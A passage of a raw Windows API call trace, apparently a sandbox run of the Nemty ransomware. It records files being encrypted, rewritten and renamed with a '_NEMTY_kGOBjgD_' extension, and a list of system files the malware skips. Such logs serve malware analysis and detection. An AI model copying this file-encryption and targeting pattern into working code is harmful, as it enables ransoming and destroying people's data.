lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 30 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0054.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0054.692] Sleep (dwMilliseconds=0x5) [0054.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4413ad0, dwHighDateTime=0x1d561e7)) [0054.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4413ad0, dwHighDateTime=0x1d561e7)) [0054.707] GetLastError () returned 0x5 [0054.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.707] GetLastError () returned 0x5 [0054.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.707] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.707] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.707] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0054.707] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="yNqA2oVZG8w9325qPogcsfEReu24100q6OrilVtRnprdo3L2xrmn3vZX8WVZduIO\r\nG+ftzMWUomAfFpw9fwF5oUsU/9EkVK6cH1KhvlHiysTdX1Vp5prSi8PBwo83MOp/\r\ng7n0SYOyMWYrz0cF5WlZAxFzYSbpd3hugbZDJNXevC88UzRMX76+NrQcnrYKfhTr\r\npGuSyWdb8kpovcKcxJ+hJ6leQQJfST93JlWtA2ralJWxqNIqyPDIfiMAcUTW30Yg\r\nvM5AaEHkcgye2v3lhRnKI4sxMUynweQrZx7yLeNlYX27yCM53ApulfMXzuR/S8dO\r\nyHLKFbQKsFGqhtVRLBvKHg==\r\n", pcchString=0x653e91c) returned 1 [0054.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0054.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0054.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0054.708] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.708] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.818] CloseHandle (hObject=0xffffffff) returned 0 [0054.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0054.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.818] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0054.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.818] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0054.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.819] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2=".") returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="..") returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="...") returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="windows") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="rsa") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="NTDETECT.COM") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntldr") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="MSDOS.SYS") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="IO.SYS") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="boot.ini") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="boot.ini") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntuser.dat") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="desktop.ini") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="CONFIG.SYS") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="RECYCLER") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootmgr") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="programdata") returned -1 [0054.819] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="appdata") returned 1 [0054.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0054.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 27 [0054.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 27 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 27 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 